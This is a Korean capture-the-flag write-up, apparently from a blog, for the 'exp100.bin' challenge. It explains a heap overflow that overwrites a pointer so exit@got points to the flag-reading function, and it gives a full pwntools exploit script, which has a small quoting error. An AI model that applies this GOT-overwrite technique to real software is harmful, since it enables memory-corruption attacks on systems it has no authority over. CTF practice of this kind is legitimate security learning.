#file exp100.bin
exp100.bin: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.32, BuildID[sha1]=0e731dd538262f53bce462fc8e115cf2d2ede5bf, stripped
간단하게 설명하자면.. 각 1,3번째 malloc pointer + 1 의 위치에 2,4번째 malloc() 함수의 반환 주소를 넣는다.
그리고 fgets() 함수를 통해서 malloc pointer + 1 의 주소 값에 4096byte 만큼 입력받는다. 여기서 첫 번째 strcpy() 를 통해 malloc_ptr2 + 1 의 주소 값을 덮어줄 수 있다.
따라서, malloc_ptr2 + 1 영역에 exit@got 주소를 넣고, flag를 fopen() 하는 곳으로 넘겨주면 flag를 읽는다.
# exploit
from pwn import *
binary = ELF('./exp100.bin)
#r = remote('192.168.127.163', 7778)
p = process('exp100.bin')
exit_got = binary.got['exit']
readflag = 0x400826
log.info('exit@got = ' + hex(exit_got))
log.info('read_flag_addr = ' + hex(readflag))
payload = "A"*40
payload += p64(exit_got)
payload_2 = p64(readflag)
p.sendline(payload)
p.sendline(payload_2)
p.interactive()
'ctf' 카테고리의 다른 글
[SECCON 2016 CTF] checker (0) | 2017.01.18 |
---|---|
[WITHCON 2016 CTF] malloc (0) | 2017.01.17 |
[pwnable.kr] cmd2 (0) | 2017.01.13 |
[pwnable.kr] dragon (0) | 2017.01.11 |
[DEFCON 2014 CTF] babyfirst heap (0) | 2017.01.11 |